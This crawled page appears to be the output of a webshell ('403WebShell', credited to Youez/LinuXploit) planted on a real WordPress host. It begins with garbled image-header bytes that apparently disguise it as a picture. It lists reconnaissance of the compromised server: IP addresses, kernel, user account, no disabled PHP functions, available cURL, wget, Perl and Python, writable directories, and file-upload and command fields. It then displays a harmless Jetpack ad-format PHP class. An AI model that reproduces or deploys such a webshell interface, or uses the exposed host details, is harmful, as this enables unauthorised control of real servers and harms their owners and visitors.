????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.112.1  /  Your IP : 216.73.216.14
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/././cwd/wp-content/plugins/jetpack/modules/wordads/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/././cwd/wp-content/plugins/jetpack/modules/wordads/php/class-wordads-formats.php
<?php
/**
 * WordAds Formats Class file.
 *
 * This file contains the definition of the WordAds_Formats class, which handles
 * determining the appropriate WordAds format slug based on ad slot dimensions.
 *
 * @package automattic/jetpack
 */

declare( strict_types = 1 );

/**
 * Class WordAds_Formats
 *
 * Set of WordAds methods working with formats and Ad dimensions.
 */
class WordAds_Formats {
	/**
	 * Determine the WordAds format based on the ad dimensions.
	 *
	 * @param int $width  The width of the ad slot.
	 * @param int $height The height of the ad slot.
	 *
	 * @return string WordAds Format enum.
	 */
	public static function get_format_slug( int $width, int $height ): string {
		if ( $width === 300 && $height === 250 ) {
			return 'gutenberg_rectangle';
		}

		if ( $width === 728 && $height === 90 ) {
			return 'gutenberg_leaderboard';
		}

		if ( $width === 320 && $height === 50 ) {
			return 'gutenberg_mobile_leaderboard';
		}

		if ( $width === 160 && $height === 600 ) {
			return 'gutenberg_skyscraper';
		}

		return '';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit